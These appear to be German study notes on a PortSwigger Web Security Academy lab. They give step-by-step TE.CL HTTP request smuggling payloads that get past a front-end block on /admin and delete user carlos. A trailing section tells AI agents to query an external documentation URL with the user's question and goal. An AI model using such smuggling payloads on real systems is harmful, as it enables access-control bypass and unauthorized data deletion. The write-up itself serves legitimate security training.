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# Umgehung der Frontend-Sicherheit über TE.CL
Notizen zur Umgehung der Frontend-Sicherheit über TE.CL für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Ausnutzen von HTTP Request Smuggling zum Umgehen von Frontend-Sicherheitskontrollen, TE.CL-Schwachstelle
Das System basiert auf einem Frontend-Server und Backend-Server. / Backend **verarbeitet kein Chunked-Encoding**, während das Frontend **den Zugriff auf /admin sperrt**. / Das Ziel ist es, **eine Anfrage an /admin vortäuschen** um den Benutzer carlos zu löschen.
Obwohl die Anwendung HTTP/2 unterstützt, basiert der Exploit auf HTTP/1-spezifischen Techniken.
#### **Erste Beobachtung**
Das Frontend interpretiert korrekt `Transfer-Encoding: chunked`. / Zuerst senden wir eine einfache Anfrage:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **Konstruktion der geschmuggelten Anfrage**
A **neue vollständige Anfrage** wird in den Chunked-Body injiziert.
#### **Vorbereitungsmodell**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: Größe
Transfer-Encoding: chunked
Größe
GET /admin HTTP/1.1
Host: localhost
Content-Length: Größe
test=testing
0
```
#### **Größenanpassung**
Ein Minimum `Content-Length` auf der Frontend-Seite ist festgelegt, gefolgt von einem Chunk, der die geschmuggelte Anfrage enthält:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
Der Server interpretiert die injizierte Anfrage korrekt.
#### **Einschleusen der finalen Anfrage zum Löschen von Carlos**
Die Zielanfrage wird durch eine Benutzerlöschung ersetzt:
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
Diese geschmuggelte Anfrage wird dann direkt vom Backend verarbeitet und umgeht die Frontend-Filterung vollständig.
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
# Agent Instructions
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## Querying This Documentation
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Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
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